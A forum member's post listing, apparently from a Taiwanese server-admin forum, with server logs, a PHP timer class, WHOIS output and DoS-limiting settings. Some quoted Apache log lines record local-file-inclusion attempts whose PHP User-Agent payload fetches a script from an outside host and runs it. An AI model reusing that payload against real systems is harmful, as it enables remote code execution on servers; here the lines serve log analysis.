1
這裡允許您檢視這個會員的所有文章。請注意, 您只能看見您有權限閱讀的文章。
tcpdump -i ppp0 -AennqX -w /var/log/tcpdump_211_79_61_8.log -c 1 'src host 211.79.61.8'
tcpdump -r /var/log/tcpdump_211_79_61_8.log
04:09:11.161015 IP proxy1.twaren.net.53153 > ipb.tw.www: S 10555165:10555165(0) win 5840 <mss 1460,sackOK,timestamp 3840313239 0,nop,wscale 7>
211.79.61.8 - - [06/Jul/2010:03:13:15 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [02/Oct/2010:05:04:12 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [03/Oct/2010:04:51:19 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [04/Oct/2010:05:21:03 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [05/Oct/2010:05:23:31 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [06/Oct/2010:05:44:35 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [07/Oct/2010:05:33:51 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [08/Oct/2010:05:13:09 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [09/Oct/2010:05:50:36 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [10/Oct/2010:05:41:14 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [11/Oct/2010:05:36:53 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [12/Oct/2010:06:09:32 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [13/Oct/2010:06:29:19 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [14/Oct/2010:06:06:34 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [15/Oct/2010:06:05:52 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [16/Oct/2010:05:56:56 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [17/Oct/2010:05:27:12 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [11/Jan/2011:12:43:31 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [12/Jan/2011:13:00:14 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [13/Jan/2011:13:00:19 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [14/Jan/2011:12:32:47 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [15/Jan/2011:13:12:25 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [17/Jan/2011:10:39:51 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [18/Jan/2011:10:24:22 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [19/Jan/2011:09:29:51 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [20/Jan/2011:08:59:16 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [21/Jan/2011:07:52:49 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [22/Jan/2011:07:29:18 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [23/Jan/2011:06:22:47 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [24/Jan/2011:05:22:47 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [25/Jan/2011:05:06:37 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
address: No.7, R Road VI Hsinchu Science-Based Industrial Park(新竹科學工業園區)
address: Hsinchu, Taiwan , R.O.C
country: TW
嗯,如果懷疑是mysql,那參考宗董這篇http://plog.longwin.com.tw/post/1/234來找找看問題。mysql cache沒記錯的話是用query string做hash key,容量有限,查詢結果超過cacahe就沒用,而且有新的query就可能被清掉...看你的使用狀況啦,很可能開了也沒有很大的效果。
/usr/sbin/mysqld, Version: 5.0.51a-24+lenny4-log ((Debian)). started with:
Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock
Time Id Command Argument
# Time: 100818 14:02:45
# User@Host: debian-sys-maint[debian-sys-maint] @ localhost []
# Query_time: 10 Lock_time: 0 Rows_sent: 0 Rows_examined: 88482
SELECT COUNT(*) INTO @discard FROM `information_schema`.`COLUMNS`;
# Time: 100818 14:16:22
# User@Host: OOOOOO[OOOOOO] @ localhost []
# Query_time: 9 Lock_time: 0 Rows_sent: 1 Rows_examined: 88482
use information_schema;
SELECT COUNT(*) FROM `information_schema`.`COLUMNS`;
# Time: 100818 14:17:00
# User@Host: OOOOOO[OOOOOO] @ localhost []
# Query_time: 9 Lock_time: 0 Rows_sent: 30 Rows_examined: 30
SELECT * FROM `COLUMNS`
LIMIT 0, 30;
# Time: 100818 14:17:11
# User@Host: OOOOOO[OOOOOO] @ localhost []
# Query_time: 11 Lock_time: 0 Rows_sent: 1 Rows_examined: 88482
SELECT COUNT(*) FROM `information_schema`.`COLUMNS`;
# Time: 100818 14:17:20
# User@Host: OOOOOO[OOOOOO] @ localhost []
# Query_time: 9 Lock_time: 0 Rows_sent: 1 Rows_examined: 88482
SELECT COUNT(*) FROM `information_schema`.`COLUMNS`;
要測執行時間, 不要光是跑這種無意義的迴圈, 應該去測有『內容』的 php 碼謝謝,
開xdebug做profiling可能比較有用吧?
...我想你可能只是想在網頁最下方顯示「本頁花了xxxx秒」這樣的訊息...那就在程式開始與結束包這些東西就可以了。不過要搭配template的話,使用$timer->timeElapsed()可能會比較有彈性。
<?php
require_once( './Timer.php' );
$timer = new Timer();
$timer->start(); // 設定開始標籤
for ($i = 0; $i < 10000000; $i++);
$timer->stop(); // 設定結束標籤
$timer->display();
?>
<?php
class Timer {
private $markers;
public function __construct() {
$this->markers = array();
}
public function start() {
$this->setMarker('Start');
}
public function stop() {
$this->setMarker('Stop');
}
public function setMarker($name) {
$this->markers[$name] = $this->_getMicrotime();
}
public function _getMicrotime() {
$microtime = explode(' ', microtime());
return $microtime[1].substr($microtime[0], 1);
}
public function timeElapsed($start = 'Start', $end = 'Stop') {
if ($end == 'Stop' && !isset($this->markers['Stop'])) {
$this->markers['Stop'] = $this->_getMicrotime();
}
if (extension_loaded('bcmath')) {
return bcsub($this->markers[$end], $this->markers[$start], 6);
} else {
return $this->markers[$end] - $this->markers[$start];
}
}
public function display() {
print $this->timeElapsed();
}
}
?>
1.346862
[Fri May 28 14:03:25 2010] [error] [client 188.40.87.9] script '/var/www/mod.php' not found or unable to stat
[Tue Jun 01 17:29:55 2010] [error] [client 217.16.18.219] File does not exist: /var/www/lib
[Tue Jun 01 17:50:15 2010] [error] [client 217.16.18.219] File does not exist: /var/www/lib
[Tue Jun 01 17:50:16 2010] [error] [client 217.16.18.219] File does not exist: /var/www/forum/lib
188.40.87.9 - - [28/May/2010:14:03:22 +0800] "GET /forum/index.php?/topic/3152-%E8%87%AA%E5%8B%95%E8%BD%89%E5%9D%80indexphp//mod.php?mod=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 77980 "-" "<?php system('curl -O /tmp/injektor.txt http://www.sosmicroparis.fr//components/com_artforms/assets/captcha/includes/captchatalk/robots.txt;wget -o /tmp/injektor.txt http://www.sosmicroparis.fr//components/com_artforms/assets/captcha/includes/captchatalk/robots.txt;php /tmp/injektor.txt'); ?>"
188.40.87.9 - - [28/May/2010:14:03:25 +0800] "GET //mod.php?mod=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 404 261 "-" "<?php system('curl -O /tmp/injektor.txt http://www.sosmicroparis.fr//components/com_artforms/assets/captcha/includes/captchatalk/robots.txt;wget -o /tmp/injektor.txt http://www.sosmicroparis.fr//components/com_artforms/assets/captcha/includes/captchatalk/robots.txt;php /tmp/injektor.txt'); ?>"
217.16.18.219 - - [01/Jun/2010:17:29:52 +0800] "GET /forum/index.php?/topic/3477-ipb-221%E7%99%BC%E4%BD%88%E6%9B%B4%E6%96%B0//lib/Loggix/Module/Calendar.php?pathToIndex=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 103121 "-" "<?php system('curl -O /tmp/injektor.txt http://www.sosmicroparis.fr//components/com_artforms/assets/captcha/includes/captchatalk/robots.txt;wget -o /tmp/injektor.txt http://www.sosmicroparis.fr//components/com_artforms/assets/captcha/includes/captchatalk/robots.txt;php /tmp/injektor.txt'); ?>"
217.16.18.219 - - [01/Jun/2010:17:29:55 +0800] "GET //lib/Loggix/Module/Calendar.php?pathToIndex=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 404 284 "-" "<?php system('curl -O /tmp/injektor.txt http://www.sosmicroparis.fr//components/com_artforms/assets/captcha/includes/captchatalk/robots.txt;wget -o /tmp/injektor.txt http://www.sosmicroparis.fr//components/com_artforms/assets/captcha/includes/captchatalk/robots.txt;php /tmp/injektor.txt'); ?>"
217.16.18.219 - - [01/Jun/2010:17:50:13 +0800] "GET /forum/index.php?app=calendar&module=calendar&cal_id=2&do=newevent&formtype=range/lib/Loggix/Module/Calendar.php?pathToIndex=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 35761 "-" "<?php system('curl -O /tmp/injektor.txt http://www.sosmicroparis.fr//components/com_artforms/assets/captcha/includes/captchatalk/robots.txt;wget -o /tmp/injektor.txt http://www.sosmicroparis.fr//components/com_artforms/assets/captcha/includes/captchatalk/robots.txt;php /tmp/injektor.txt'); ?>"
OOO.OOO.OOO.OOO - - [05/May/2010:07:37:38 +0800] "GET /forum/index.php?/topic/10231-%e4%b8%ad%e6%96%87%e5%ae%89%e8%a3%9d%e5%95%8f%e9%a1%8c/page__pid__12656__st__0 HTTP/1.1" 200 23641 "-" "Mozilla/5.0 (compatible; YoudaoBot/1.0; http://www.youdao.com/help/webmaster/spider/; )"
OOO.OOO.OOO.OOO - - [05/May/2010:15:30:07 +0800] "GET /forum/index.php?/topic/8438-%e7%b6%93%e7%94%b1%e7%b6%b2%e7%ab%99%e5%85%b6%e5%ae%83%e4%b8%bb%e9%a0%81%e4%be%86%e7%99%bb%e5%85%a5%e8%ab%96%e5%a3%87/page__view__findpost__p__10824 HTTP/1.1" 302 20 "-" "Mozilla/5.0 (compatible; YoudaoBot/1.0; http://www.youdao.com/help/webmaster/spider/; )"
註冊局 WHOIS 主機 : whois.ripe.net:43
% This is the RIPE Database query service.
% The objects are in RPSL format.
%
% The RIPE Database is subject to Terms and Conditions.
% See http://www.ripe.net/db/support/db-terms-conditions.pdf
OrgName: RIPE Network Coordination Centre
OrgID: RIPE
Address: P.O. Box 10096
City: Amsterdam
StateProv:
PostalCode: 1001EB
Country: NL
ReferralServer: whois://whois.ripe.net:43
NetRange: 92.0.0.0 - 92.255.255.255
CIDR: 92.0.0.0/8
NetName: 92-RIPE
NetHandle: NET-92-0-0-0-1
Parent:
NetType: Allocated to RIPE NCC
NameServer: NS-PRI.RIPE.NET
NameServer: NS3.NIC.FR
NameServer: SUNIC.SUNET.SE
NameServer: SNS-PB.ISC.ORG
NameServer: SEC1.APNIC.NET
NameServer: SEC3.APNIC.NET
NameServer: TINNIE.ARIN.NET
NameServer: NS2.LACNIC.NET
Comment: These addresses have been further assigned to users in
Comment: the RIPE NCC region. Contact information can be found in
Comment: the RIPE database at http://www.ripe.net/whois
RegDate: 2007-03-27
Updated: 2009-05-18
# ARIN WHOIS database, last updated 2010-06-29 20:00
# Enter ? for additional hints on searching ARIN's WHOIS database.
#
# ARIN WHOIS data and services are subject to the Terms of Use
# available at https://www.arin.net/whois_tou.html
#
# Attention! Changes are coming to ARIN's Whois service on June 26.
# See https://www.arin.net/features/whois for details on the improvements.
...
...
...
inetnum: 92.60.176.0 - 92.60.176.127
netname: WNET-Odessa
descr: Wnet-Odessa-Colo
country: UA
admin-c: WNET2-RIPE
tech-c: WNET2-RIPE
status: ASSIGNED PA
mnt-by: WNET-MNT
source: RIPE # Filtered
...
...
...
NetRange: 66.249.64.0 - 66.249.95.255/var/log/apache2/access.log
CIDR: 66.249.64.0/19
NetName: GOOGLE
NetHandle: NET-66-249-64-0-1
Parent: NET-66-0-0-0-0
NetType: Direct Allocation
NameServer: NS1.GOOGLE.COM
NameServer: NS2.GOOGLE.COM
NameServer: NS3.GOOGLE.COM
NameServer: NS4.GOOGLE.COM
[16/Jan/2010:00:58:17 +0800] "GET /forum/index.php?app=forums&module=extras§ion=stats&do=who&t=4033 HTTP/1.1" 200 7628 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
NetRange: 207.46.0.0 - 207.46.255.255/var/log/apache2/access.log
CIDR: 207.46.0.0/16
NetName: MICROSOFT-GLOBAL-NET
NetHandle: NET-207-46-0-0-1
Parent: NET-207-0-0-0-0
NetType: Direct Assignment
NameServer: NS1.MSFT.NET
NameServer: NS5.MSFT.NET
NameServer: NS2.MSFT.NET
NameServer: NS3.MSFT.NET
NameServer: NS4.MSFT.NET
[02/Mar/2010:04:04:20 +0800] "GET /forum/index.php?/topic/4133-%e9%bb%91%e9%bb%91%e5%a4%a7%e5%a4%a7%e5%a5%bd%e6%9c%89%e5%95%8f%e9%a1%8c%e5%95%8f%e5%93%a9/ HTTP/1.1" 200 40607 "-" "msnbot/2.0b (+http://search.msn.com/msnbot.htm)"
NetRange: 67.195.0.0 - 67.195.255.255/var/log/apache2/access.log
CIDR: 67.195.0.0/16
NetName: A-YAHOO-US8
NetHandle: NET-67-195-0-0-1
Parent: NET-67-0-0-0-0
NetType: Direct Allocation
NameServer: NS1.YAHOO.COM
NameServer: NS2.YAHOO.COM
NameServer: NS3.YAHOO.COM
NameServer: NS4.YAHOO.COM
NameServer: NS5.YAHOO.COM
[27/Dec/2009:06:07:49 +0800] "GET /robots.txt HTTP/1.0" 404 224 "-" "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)"
inetnum: 58.60.0.0 - 58.63.255.255/var/log/apache2/access.log
netname: CHINANET-GD
descr: CHINANET Guangdong province network
descr: China Telecom
descr: No.31,jingrong street
descr: Beijing 100032
country: CN
admin-c: CH93-AP
tech-c: IC83-AP
mnt-by: APNIC-HM
mnt-lower: MAINT-CHINANET-GD
mnt-routes: MAINT-CHINANET-GD
status: ALLOCATED PORTABLE
[07/Mar/2010:21:56:29 +0800] "GET /forum/index.php?/index?s=b5c56f3455b32aca70e8de481195e40c HTTP/1.1" 200 191704 "http://ipb.tw/forum/index.php?/index?s=b5c56f3455b32aca70e8de481195e40c" "Mozilla/4.0 (compatible; MSIE 6.0)"
<IfModule mod_evasive20.c>
DOSHashTableSize 3097
DOSPageCount 2
DOSSiteCount 50
DOSPageInterval 1
DOSSiteInterval 1
DOSBlockingPeriod 10
DOSLogDir "/var/lock/mod_evasive"
</IfModule>
(3)在iptables中加入 iptables -A FORWARD -i $EXTIF -p tcp --syn -m limit --limit 1/s -j ACCEPT
參考 => http://linux.vbird.org/linux_server/0250simple_firewall.php#local_script搜尋間隔管制為 60 秒,請稍後再試.
58.60.14.231 - - [07/Mar/2010:21:20:58 +0800] "GET /forum/index.php?app=forums&forumid=2&i=1?s=561a958d6c90a57d39087982b57f8273&marktype=forum&module=forums&returntoforumid=0§ion=markasread HTTP/1.1" 302 - "http://ipb.tw/forum/index.php?app=forums&forumid=2&i=1?s=561a958d6c90a57d39087982b57f8273&marktype=forum&module=forums&returntoforumid=0§ion=markasread" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.61.32.55 - - [07/Mar/2010:21:20:55 +0800] "GET /forum/index.php?/topic/131-%E5%8D%A1%E8%BE%B2%E7%9A%84%E7%90%B4%E8%AD%9Cpdf%E6%AA%94/ HTTP/1.1" 200 168375 "http://ipb.tw/forum/index.php?/topic/131-%E5%8D%A1%E8%BE%B2%E7%9A%84%E7%90%B4%E8%AD%9Cpdf%E6%AA%94/" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.241 - - [07/Mar/2010:21:20:55 +0800] "GET /forum/index.php?/forum/20-%E6%86%B6%E7%B6%B2%E6%83%85%E6%B7%B1/?s=eafc57480c55000ae38913632f06bc69' HTTP/1.1" 200 104744 "http://ipb.tw/forum/index.php?/forum/20-%E6%86%B6%E7%B6%B2%E6%83%85%E6%B7%B1/?s=eafc57480c55000ae38913632f06bc69'" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.61.32.55 - - [07/Mar/2010:21:21:00 +0800] "GET /forum/index.php?/topic/18790-fromitidgh483987hotmailcom/page__view__findpost__p__21628?s=eafc57480c55000ae38913632f06bc69' HTTP/1.1" 302 - "http://ipb.tw/forum/index.php?/topic/18790-fromitidgh483987hotmailcom/page__view__findpost__p__21628?s=eafc57480c55000ae38913632f06bc69'" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.236 - - [07/Mar/2010:21:20:57 +0800] "GET /forum/index.php?/calendar/?s=561a958d6c90a57d39087982b57f8273' HTTP/1.1" 200 191724 "http://ipb.tw/forum/index.php?/calendar/?s=561a958d6c90a57d39087982b57f8273'" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.236 - - [07/Mar/2010:21:20:58 +0800] "GET /forum/index.php?app=core&do=active&module=search&search_filter_app[forums]=1?s=2df023d942bb0395cc95b22f646af7f6' HTTP/1.1" 200 105516 "http://ipb.tw/forum/index.php?app=core&do=active&module=search&search_filter_app[forums]=1?s=2df023d942bb0395cc95b22f646af7f6'" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.241 - - [07/Mar/2010:21:20:59 +0800] "GET /forum/index.php?/topic/18886-invisionmodding-j30-about-us/?s=eafc57480c55000ae38913632f06bc69' HTTP/1.1" 200 150130 "http://ipb.tw/forum/index.php?/topic/18886-invisionmodding-j30-about-us/?s=eafc57480c55000ae38913632f06bc69'" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.241 - - [07/Mar/2010:21:20:55 +0800] "GET /forum/index.php?app=forums&do=reply_post&f=21&module=post&qpid=143?s=eafc57480c55000ae38913632f06bc69§ion=post&t=131 HTTP/1.1" 200 96862 "http://ipb.tw/forum/index.php?app=forums&do=reply_post&f=21&module=post&qpid=143?s=eafc57480c55000ae38913632f06bc69§ion=post&t=131" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.231 - - [07/Mar/2010:21:21:00 +0800] "GET /forum/index.php?/index?s=e4a2e681abd1beb9426398dc604399fa HTTP/1.1" 200 191704 "http://ipb.tw/forum/index.php?/index?s=e4a2e681abd1beb9426398dc604399fa" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.61.32.55 - - [07/Mar/2010:21:21:04 +0800] "GET /forum/index.php?app=forums&forumid=446&i=1?s=2df023d942bb0395cc95b22f646af7f6&marktype=forum&module=forums&returntoforumid=0§ion=markasread HTTP/1.1" 302 - "http://ipb.tw/forum/index.php?app=forums&forumid=446&i=1?s=2df023d942bb0395cc95b22f646af7f6&marktype=forum&module=forums&returntoforumid=0§ion=markasread" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.241 - - [07/Mar/2010:21:21:06 +0800] "GET /forum/index.php?app=forums&forumid=406&i=1?s=561a958d6c90a57d39087982b57f8273&marktype=forum&module=forums&returntoforumid=0§ion=markasread HTTP/1.1" 302 - "http://ipb.tw/forum/index.php?app=forums&forumid=406&i=1?s=561a958d6c90a57d39087982b57f8273&marktype=forum&module=forums&returntoforumid=0§ion=markasread" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.61.32.55 - - [07/Mar/2010:21:21:02 +0800] "GET /forum/index.php?/forum/384-%E5%A4%9C%E5%B8%82%E9%9B%86%E9%8C%A6/?s=2df023d942bb0395cc95b22f646af7f6 HTTP/1.1" 200 160917 "http://ipb.tw/forum/index.php?/forum/384-%E5%A4%9C%E5%B8%82%E9%9B%86%E9%8C%A6/?s=2df023d942bb0395cc95b22f646af7f6" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.236 - - [07/Mar/2010:21:21:02 +0800] "GET /forum/index.php?/topic/3457-script-typetextjavascript/page__view__getlastpost?s=561a958d6c90a57d39087982b57f8273' HTTP/1.1" 200 149241 "http://ipb.tw/forum/index.php?/topic/3457-script-typetextjavascript/page__view__getlastpost?s=561a958d6c90a57d39087982b57f8273'" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.231 - - [07/Mar/2010:21:21:05 +0800] "GET /forum/index.php?/forum/147-%E5%8D%81%E4%BA%8C%E6%9C%88/?s=561a958d6c90a57d39087982b57f8273 HTTP/1.1" 200 153579 "http://ipb.tw/forum/index.php?/forum/147-%E5%8D%81%E4%BA%8C%E6%9C%88/?s=561a958d6c90a57d39087982b57f8273" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.236 - - [07/Mar/2010:21:21:09 +0800] "GET /forum/index.php?app=downloads&id=18&module=ajax&rating=4?s=eafc57480c55000ae38913632f06bc69'§ion=rate HTTP/1.1" 200 12 "http://ipb.tw/forum/index.php?app=downloads&id=18&module=ajax&rating=4?s=eafc57480c55000ae38913632f06bc69'§ion=rate" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.241 - - [07/Mar/2010:21:21:05 +0800] "GET /forum/index.php?/forum/392-%E8%97%9D%E6%96%87%E6%AC%A3%E8%B3%9E/?s=2df023d942bb0395cc95b22f646af7f6 HTTP/1.1" 200 112145 "http://ipb.tw/forum/index.php?/forum/392-%E8%97%9D%E6%96%87%E6%AC%A3%E8%B3%9E/?s=2df023d942bb0395cc95b22f646af7f6" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.61.32.55 - - [07/Mar/2010:21:20:57 +0800] "GET /forum/index.php?s=eafc57480c55000ae38913632f06bc69 HTTP/1.1" 200 191697 "http://ipb.tw/forum/index.php?s=eafc57480c55000ae38913632f06bc69" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.236 - - [07/Mar/2010:21:21:07 +0800] "GET /forum/index.php?/forum/141-%E5%85%AD%E6%9C%88/?s=561a958d6c90a57d39087982b57f8273 HTTP/1.1" 200 160197 "http://ipb.tw/forum/index.php?/forum/141-%E5%85%AD%E6%9C%88/?s=561a958d6c90a57d39087982b57f8273" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.61.32.55 - - [07/Mar/2010:21:21:09 +0800] "GET /forum/index.php?/forum/397-%E8%B3%BC%E7%89%A9%E5%BF%AB%E5%A0%B1/?s=eafc57480c55000ae38913632f06bc69 HTTP/1.1" 200 136988 "http://ipb.tw/forum/index.php?/forum/397-%E8%B3%BC%E7%89%A9%E5%BF%AB%E5%A0%B1/?s=eafc57480c55000ae38913632f06bc69" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.231 - - [07/Mar/2010:21:21:09 +0800] "GET /forum/index.php?/user/1532-%E8%A8%B1%E8%93%8B%E5%8A%9F%E9%96%B1/?s=eafc57480c55000ae38913632f06bc69 HTTP/1.1" 200 107665 "http://ipb.tw/forum/index.php?/user/1532-%E8%A8%B1%E8%93%8B%E5%8A%9F%E9%96%B1/?s=eafc57480c55000ae38913632f06bc69" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.241 - - [07/Mar/2010:21:21:07 +0800] "GET /forum/index.php?/index?s=88f811f1cbb08008198779b6526c8fd1 HTTP/1.1" 200 191704 "http://ipb.tw/forum/index.php?/index?s=88f811f1cbb08008198779b6526c8fd1" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.61.32.55 - - [07/Mar/2010:21:21:02 +0800] "GET /forum/index.php?/topic/18790-fromitidgh483987hotmailcom/page__p__21628 HTTP/1.1" 200 151985 "http://ipb.tw/forum/index.php?/topic/18790-fromitidgh483987hotmailcom/page__p__21628" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.61.32.55 - - [07/Mar/2010:21:21:11 +0800] "GET /forum/index.php?/forum/11-%E5%81%A5%E5%BA%B7%E7%94%9F%E6%B4%BB/?s=eafc57480c55000ae38913632f06bc69 HTTP/1.1" 200 102175 "http://ipb.tw/forum/index.php?/forum/11-%E5%81%A5%E5%BA%B7%E7%94%9F%E6%B4%BB/?s=eafc57480c55000ae38913632f06bc69" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.231 - - [07/Mar/2010:21:21:11 +0800] "GET /forum/index.php?/ircChat/?s=b9b0d85fb7b4bc835435c0aca4415a6d' HTTP/1.1" 200 101922 "http://ipb.tw/forum/index.php?/ircChat/?s=b9b0d85fb7b4bc835435c0aca4415a6d'" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.231 - - [07/Mar/2010:21:21:15 +0800] "GET /forum/index.php?app=forums&forumid=446&i=1?s=eafc57480c55000ae38913632f06bc69&marktype=forum&module=forums&returntoforumid=0§ion=markasread HTTP/1.1" 302 - "http://ipb.tw/forum/index.php?app=forums&forumid=446&i=1?s=eafc57480c55000ae38913632f06bc69&marktype=forum&module=forums&returntoforumid=0§ion=markasread" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.241 - - [07/Mar/2010:21:21:11 +0800] "GET /forum/index.php?/topic/18882-%E6%89%8B%E6%A9%9Fnokia2730-%E9%9B%BB%E8%85%A6%E7%AB%AF%E5%A5%97%E4%BB%B6%E5%8C%AF%E5%85%A5csv%E9%80%9A%E8%A8%8A%E9%8C%84/page__view__getnewpost?s=eafc57480c55000ae38913632f06bc69' HTTP/1.1" 200 151175 "http://ipb.tw/forum/index.php?/topic/18882-%E6%89%8B%E6%A9%9Fnokia2730-%E9%9B%BB%E8%85%A6%E7%AB%AF%E5%A5%97%E4%BB%B6%E5%8C%AF%E5%85%A5csv%E9%80%9A%E8%A8%8A%E9%8C%84/page__view__getnewpost?s=eafc57480c55000ae38913632f06bc69'" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.61.32.55 - - [07/Mar/2010:21:21:17 +0800] "GET /forum/index.php?app=core&module=task'&s=54b7797587ff9a5c41c26cf4501f9917 HTTP/1.1" 302 - "http://ipb.tw/forum/index.php?app=core&module=task'&s=54b7797587ff9a5c41c26cf4501f9917" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.61.32.55 - - [07/Mar/2010:21:21:19 +0800] "GET /forum HTTP/1.1" 301 284 "http://ipb.tw/forum" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.241 - - [07/Mar/2010:21:21:09 +0800] "GET /forum/index.php?app=core&module=search?s=b9b0d85fb7b4bc835435c0aca4415a6d' HTTP/1.1" 200 138677 "http://ipb.tw/forum/index.php?app=core&module=search?s=b9b0d85fb7b4bc835435c0aca4415a6d'" "Mozilla/4.0 (compatible; MSIE 6.0)"
......
......
......
如何讓資料夾只能新增檔案,不允許覆及刪除
[root@www ~]# chattr [+-=][ASacdistu] 檔案或目錄名稱
選項與參數:
+ :增加某一個特殊參數,其他原本存在參數則不動。
- :移除某一個特殊參數,其他原本存在參數則不動。
= :設定一定,且僅有後面接的參數
A :當設定了 A 這個屬性時,若你有存取此檔案(或目錄)時,他的存取時間 atime
將不會被修改,可避免I/O較慢的機器過度的存取磁碟。這對速度較慢的電腦有幫助
S :一般檔案是非同步寫入磁碟的(原理請參考第五章sync的說明),如果加上 S 這個
屬性時,當你進行任何檔案的修改,該更動會『同步』寫入磁碟中。
a :當設定 a 之後,這個檔案將只能增加資料,而不能刪除也不能修改資料,只有root
才能設定這個屬性。
c :這個屬性設定之後,將會自動的將此檔案『壓縮』,在讀取的時候將會自動解壓縮,
但是在儲存的時候,將會先進行壓縮後再儲存(看來對於大檔案似乎蠻有用的!)
d :當 dump 程序被執行的時候,設定 d 屬性將可使該檔案(或目錄)不會被 dump 備份
i :這個 i 可就很厲害了!他可以讓一個檔案『不能被刪除、改名、設定連結也無法
寫入或新增資料!』對於系統安全性有相當大的助益!只有 root 能設定此屬性
s :當檔案設定了 s 屬性時,如果這個檔案被刪除,他將會被完全的移除出這個硬碟
空間,所以如果誤刪了,完全無法救回來了喔!
u :與 s 相反的,當使用 u 來設定檔案時,如果該檔案被刪除了,則資料內容其實還
存在磁碟中,可以使用來救援該檔案喔!
注意:屬性設定常見的是 a 與 i 的設定值,而且很多設定值必須要身為 root 才能設定
#man chattr
ATTRIBUTES
When a file with the 'A' attribute set is accessed, its atime record is
not modified. This avoids a certain amount of disk I/O for laptop sys-
tems.
A file with the `a' attribute set can only be open in append mode for
writing. Only the superuser or a process possessing the
CAP_LINUX_IMMUTABLE capability can set or clear this attribute.
# chattr +a test
# lsattr
-----a------------- ./test.............................
SetEnvIf Remote_Addr "66\.249\.67\." dontlog
............................
.............................
.............................
CustomLog /var/log/apache2/access.log combined env=!dontlog
...................................
ErrorLog /var/log/apache2/error.log
先請kenduest 老大消消火...
其實我已經看很多了,這類的新手經常沒頭沒腦的丟問題出來
也沒有很明白的交待一些事情,就想說有沒有人可以幫忙解決問題
我之前看多了,說老實話,也就不大想太認真來看待他們的問題
所以,樓主那台Linux Router我連理都不想理 ..因為除錯的經驗
已經告訴我,問題點可能不在那台Linux Router ...
反而是硬體的問題比較有可能... 所以我之前的回覆已經有提示這一段了
樓主後來的檢查也是指向我的看法 ...
說老實話,這類的問題處理多了, 也覺得沒什麼挑戰性!!
樓主這樣設定IPTables就原諒他吧 , 說老實話 ,論壇裡頭能夠真正瞭解
